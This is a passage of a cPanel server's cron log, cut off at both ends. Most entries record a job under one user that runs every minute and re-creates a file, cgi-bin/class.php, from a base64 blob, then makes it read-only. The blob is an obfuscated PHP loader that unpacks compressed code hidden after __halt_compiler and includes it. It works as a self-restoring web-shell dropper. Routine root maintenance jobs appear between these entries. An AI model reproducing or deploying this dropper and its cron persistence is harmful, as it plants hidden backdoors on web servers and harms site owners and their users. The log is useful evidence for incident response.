rzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 15:32:01 server CROND[15389]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 15:33:01 server CROND[15455]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 15:34:01 server CROND[15518]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 15:35:01 server CROND[15582]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 15:35:01 server CROND[15585]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 12 15:35:01 server CROND[15586]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 15:35:01 server CROND[15583]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 15:35:01 server CROND[15590]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr 12 15:36:01 server CROND[15721]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 15:37:01 server CROND[15872]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 15:38:01 server CROND[15932]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 15:39:01 server CROND[15993]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 15:39:01 server CROND[15994]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 12 15:40:01 server CROND[16066]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 15:40:01 server CROND[16067]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 12 15:40:01 server CROND[16068]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 15:40:01 server CROND[16069]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 15:41:01 server CROND[16201]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 15:42:01 server CROND[16365]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 15:42:01 server CROND[16366]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 12 15:43:01 server CROND[16436]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 15:44:01 server CROND[16508]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 15:45:01 server CROND[16583]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fR